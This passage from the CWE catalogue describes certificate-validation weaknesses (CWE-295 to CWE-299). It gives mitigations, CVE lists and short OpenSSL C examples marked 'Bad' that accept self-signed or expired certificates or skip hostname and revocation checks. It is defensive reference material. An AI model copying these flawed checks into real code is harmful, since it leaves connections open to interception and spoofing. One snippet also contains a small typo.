#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool

*Effectiveness = High*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

### Demonstrative Examples

#### Example 1:

This code checks the certificate of a connected peer.

Example Language: C

(Bad)

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.

#### Example 2:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C

(Bad)

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509\_V\_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

#### Example 3:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
```

If the call to SSL\_get\_verify\_result() returns X509\_V\_ERR\_CERT\_HAS\_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

#### Example 4:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

#### Example 5:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {  
    // got certificate, host can be trusted  
    //foo=SSL_get_verify_result(ssl);  
    //if (X509_V_OK==foo) ...  
}
```

Note that the code does not call `SSL_get_verify_result(ssl)`, which effectively disables the validation step that checks the certificate.

### Observed Examples

Reference	Description
<b>CVE-2019-12496</b>	A Go framework for robotics, drones, and IoT devices skips verification of root CA certificates by default. <a href="https://www.cve.org/CVERecord?id=CVE-2019-12496">https://www.cve.org/CVERecord?id=CVE-2019-12496</a>
<b>CVE-2014-1266</b>	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). <a href="https://www.cve.org/CVERecord?id=CVE-2014-1266">https://www.cve.org/CVERecord?id=CVE-2014-1266</a>
<b>CVE-2021-22909</b>	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). <a href="https://www.cve.org/CVERecord?id=CVE-2021-22909">https://www.cve.org/CVERecord?id=CVE-2021-22909</a>
<b>CVE-2008-4989</b>	Verification function trusts certificate chains in which the last certificate is self-signed. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4989">https://www.cve.org/CVERecord?id=CVE-2008-4989</a>
<b>CVE-2012-5821</b>	Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA) <a href="https://www.cve.org/CVERecord?id=CVE-2012-5821">https://www.cve.org/CVERecord?id=CVE-2012-5821</a>
<b>CVE-2009-3046</b>	Web browser does not check if any intermediate certificates are revoked. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3046">https://www.cve.org/CVERecord?id=CVE-2009-3046</a>
<b>CVE-2011-0199</b>	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2011-0199">https://www.cve.org/CVERecord?id=CVE-2011-0199</a>
<b>CVE-2012-5810</b>	Mobile banking application does not verify hostname, leading to financial loss. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5810">https://www.cve.org/CVERecord?id=CVE-2012-5810</a>
<b>CVE-2012-3446</b>	Cloud-support library written in Python uses incorrect regular expression when matching hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-3446">https://www.cve.org/CVERecord?id=CVE-2012-3446</a>
<b>CVE-2009-2408</b>	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2408">https://www.cve.org/CVERecord?id=CVE-2009-2408</a>
<b>CVE-2012-2993</b>	Smartphone device does not verify hostname, allowing spoofing of mail services.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2012-2993">https://www.cve.org/CVERecord?id=CVE-2012-2993</a>
<b>CVE-2012-5822</b>	Application uses third-party library that does not validate hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5822">https://www.cve.org/CVERecord?id=CVE-2012-5822</a>
<b>CVE-2012-5819</b>	Cloud storage management application does not validate hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5819">https://www.cve.org/CVERecord?id=CVE-2012-5819</a>
<b>CVE-2012-5817</b>	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5817">https://www.cve.org/CVERecord?id=CVE-2012-5817</a>
<b>CVE-2010-1378</b>	chain: incorrect calculation allows attackers to bypass certificate checks. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1378">https://www.cve.org/CVERecord?id=CVE-2010-1378</a>
<b>CVE-2005-3170</b>	LDAP client accepts certificates even if they are not from a trusted CA. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3170">https://www.cve.org/CVERecord?id=CVE-2005-3170</a>
<b>CVE-2009-0265</b>	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0265">https://www.cve.org/CVERecord?id=CVE-2009-0265</a>
<b>CVE-2003-1229</b>	chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1229">https://www.cve.org/CVERecord?id=CVE-2003-1229</a>
<b>CVE-2002-0862</b>	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0862">https://www.cve.org/CVERecord?id=CVE-2002-0862</a>
<b>CVE-2009-1358</b>	chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1358">https://www.cve.org/CVERecord?id=CVE-2009-1358</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
459	Creating a Rogue Certification Authority Certificate
475	Signature Spoofing by Improper Validation

### References

[REF-243]Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012 October 6. < <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf> >.

[REF-244]M. Bishop. "Computer Security: Art and Science". 2003. Addison-Wesley.

## CWE-296: Improper Following of a Certificate's Chain of Trust

**Weakness ID** : 296

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

### Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.




There are several ways in which the chain of trust might be broken, including but not limited to:

- Any certificate in the chain is self-signed, unless it the root.
- Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
- An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
- The root certificate has been compromised or authorized to the wrong party.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222
ChildOf		295	Improper Certificate Validation	677
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	868

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities <i>Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.</i>	
Integrity	Gain Privileges or Assume Identity	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.</i>	
Access Control		

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

#### Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

#### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.

### Demonstrative Examples

#### Example 1:

This code checks the certificate of a connected peer.

*Example Language: C*

*(Bad)*

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo)
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AIMM) attack to modify the traffic from server to client.

### Observed Examples

Reference	Description
<b>CVE-2016-2402</b>	Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned. <a href="https://www.cve.org/CVERecord?id=CVE-2016-2402">https://www.cve.org/CVERecord?id=CVE-2016-2402</a>
<b>CVE-2008-4989</b>	Verification function trusts certificate chains in which the last certificate is self-signed.



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-4989">https://www.cve.org/CVERecord?id=CVE-2008-4989</a>
<b>CVE-2012-5821</b>	Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).
	<a href="https://www.cve.org/CVERecord?id=CVE-2012-5821">https://www.cve.org/CVERecord?id=CVE-2012-5821</a>
<b>CVE-2009-3046</b>	Web browser does not check if any intermediate certificates are revoked.
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-3046">https://www.cve.org/CVERecord?id=CVE-2009-3046</a>
<b>CVE-2009-0265</b>	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-0265">https://www.cve.org/CVERecord?id=CVE-2009-0265</a>
<b>CVE-2009-0124</b>	chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-0124">https://www.cve.org/CVERecord?id=CVE-2009-0124</a>
<b>CVE-2002-0970</b>	File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-0970">https://www.cve.org/CVERecord?id=CVE-2002-0970</a>
<b>CVE-2002-0862</b>	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-0862">https://www.cve.org/CVERecord?id=CVE-2002-0862</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2188
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2308

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to follow chain of trust in certificate validation

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-245]Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012 October 5. < [http://www.cs.utexas.edu/~shmat/shmat\\_ccs12.pdf](http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf) >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID : 297

Structure : Simple

**Abstraction** : Variant

## Description

The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.

## Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the product is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.




Even if the product attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

This weakness can occur even when the product uses Certificate Pinning, if the product does not verify the hostname at the time a certificate is pinned.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		295	Improper Certificate Validation	677
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	868

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>The data read from the system vouched for by the certificate may not be from the expected system.</i>	
Authentication	Other	

Scope	Impact	Likelihood
Other	Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.	

## Detection Methods

### Dynamic Analysis with Manual Results Interpretation

Set up an untrusted endpoint (e.g. a server) with which the product will connect. Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the product performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.

### Black Box

When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955]. This methodology might be extensible to other technologies.

## Potential Mitigations

### Phase: Architecture and Design

Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.

### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

## Demonstrative Examples

### Example 1:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C

(Bad)

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl) == X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509\_V\_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.



## Observed Examples

Reference	Description
<b>CVE-2012-5810</b>	Mobile banking application does not verify hostname, leading to financial loss. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5810">https://www.cve.org/CVERecord?id=CVE-2012-5810</a>
<b>CVE-2012-5811</b>	Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5811">https://www.cve.org/CVERecord?id=CVE-2012-5811</a>
<b>CVE-2012-5807</b>	Software for electronic checking does not verify hostname, leading to financial loss. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5807">https://www.cve.org/CVERecord?id=CVE-2012-5807</a>
<b>CVE-2012-3446</b>	Cloud-support library written in Python uses incorrect regular expression when matching hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-3446">https://www.cve.org/CVERecord?id=CVE-2012-3446</a>

Reference	Description
<b>CVE-2009-2408</b>	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2408">https://www.cve.org/CVERecord?id=CVE-2009-2408</a>
<b>CVE-2012-0867</b>	Database program truncates the Common Name during hostname verification, allowing spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2012-0867">https://www.cve.org/CVERecord?id=CVE-2012-0867</a>
<b>CVE-2010-2074</b>	Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2074">https://www.cve.org/CVERecord?id=CVE-2010-2074</a>
<b>CVE-2009-4565</b>	Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2009-4565">https://www.cve.org/CVERecord?id=CVE-2009-4565</a>
<b>CVE-2009-3767</b>	LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3767">https://www.cve.org/CVERecord?id=CVE-2009-3767</a>
<b>CVE-2012-5806</b>	Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5806">https://www.cve.org/CVERecord?id=CVE-2012-5806</a>
<b>CVE-2012-2993</b>	Smartphone device does not verify hostname, allowing spoofing of mail services. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2993">https://www.cve.org/CVERecord?id=CVE-2012-2993</a>
<b>CVE-2012-5804</b>	E-commerce module does not verify hostname when connecting to payment site. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5804">https://www.cve.org/CVERecord?id=CVE-2012-5804</a>
<b>CVE-2012-5824</b>	Chat application does not validate hostname, leading to loss of privacy. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5824">https://www.cve.org/CVERecord?id=CVE-2012-5824</a>
<b>CVE-2012-5822</b>	Application uses third-party library that does not validate hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5822">https://www.cve.org/CVERecord?id=CVE-2012-5822</a>
<b>CVE-2012-5819</b>	Cloud storage management application does not validate hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5819">https://www.cve.org/CVERecord?id=CVE-2012-5819</a>
<b>CVE-2012-5817</b>	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5817">https://www.cve.org/CVERecord?id=CVE-2012-5817</a>
<b>CVE-2012-5784</b>	SOAP platform does not verify the hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5784">https://www.cve.org/CVERecord?id=CVE-2012-5784</a>
<b>CVE-2012-5782</b>	PHP library for payments does not verify the hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5782">https://www.cve.org/CVERecord?id=CVE-2012-5782</a>
<b>CVE-2012-5780</b>	Merchant SDK for payments does not verify the hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2012-5780">https://www.cve.org/CVERecord?id=CVE-2012-5780</a>
<b>CVE-2003-0355</b>	Web browser does not validate Common Name, allowing spoofing of https sites. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0355">https://www.cve.org/CVERecord?id=CVE-2003-0355</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		948	SFP Secondary Cluster: Digital Certificate	888	2188
MemberOf		1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to validate host-specific certificate data

## References

- [REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.
- [REF-245]Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012 October 5. < [http://www.cs.utexas.edu/~shmat/shmat\\_ccs12.pdf](http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf) >.
- [REF-243]Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012 October 6. < <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf> >.
- [REF-249]Kenneth Ballard. "Secure programming with the OpenSSL API, Part 2: Secure handshake". 2005 May 3. < <http://www.ibm.com/developerworks/library/l-openssl2/index.html> >.
- [REF-250]Eric Rescorla. "An Introduction to OpenSSL Programming (Part I)". 2001 October 5. < <http://www.rtfm.com/openssl-examples/part1.pdf> >.
- [REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.
- [REF-955]Chris McMahon Stone, Tom Chothia and Flavio D. Garcia. "Spinner: Semi-Automatic Detection of Pinning without Hostname Verification". < <http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf> >.2018-01-16.

## CWE-298: Improper Validation of Certificate Expiration

**Weakness ID** : 298

**Structure** : Simple

**Abstraction** : Variant

### Description

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.





### Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386
ChildOf		295	Improper Certificate Validation	677
PeerOf		324	Use of a Key Past its Expiration Date	752
PeerOf		370	Missing Check for Certificate Revocation after Initial Check	868

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity Other	Other <i>The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.</i>	
Authentication Other	Other <i>Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

#### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.

### Demonstrative Examples

#### Example 1:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

*Example Language: C*

*(Bad)*

```
if (cert = SSL_get_peer(certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf		948	SFP Secondary Cluster: Digital Certificate	888	2188

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to validate certificate expiration



## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-299: Improper Check for Certificate Revocation

**Weakness ID** : 299

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

### Extended Description

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		404	Improper Resource Shutdown or Release	927
ChildOf		295	Improper Certificate Validation	677
ParentOf		370	Missing Check for Certificate Revocation after Initial Check	868

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
	<i>Trust may be assigned to an entity who is not who it claims to be.</i>	
Integrity	Other	



Scope	Impact	Likelihood
Other	<i>Data from an untrusted (and possibly malicious) source may be integrated.</i>	
Confidentiality	Read Application Data <i>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that certificates are checked for revoked status.

#### Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the revoked status.

### Demonstrative Examples

#### Example 1:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
}
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The product could be communicating with a malicious host.

### Observed Examples

Reference	Description
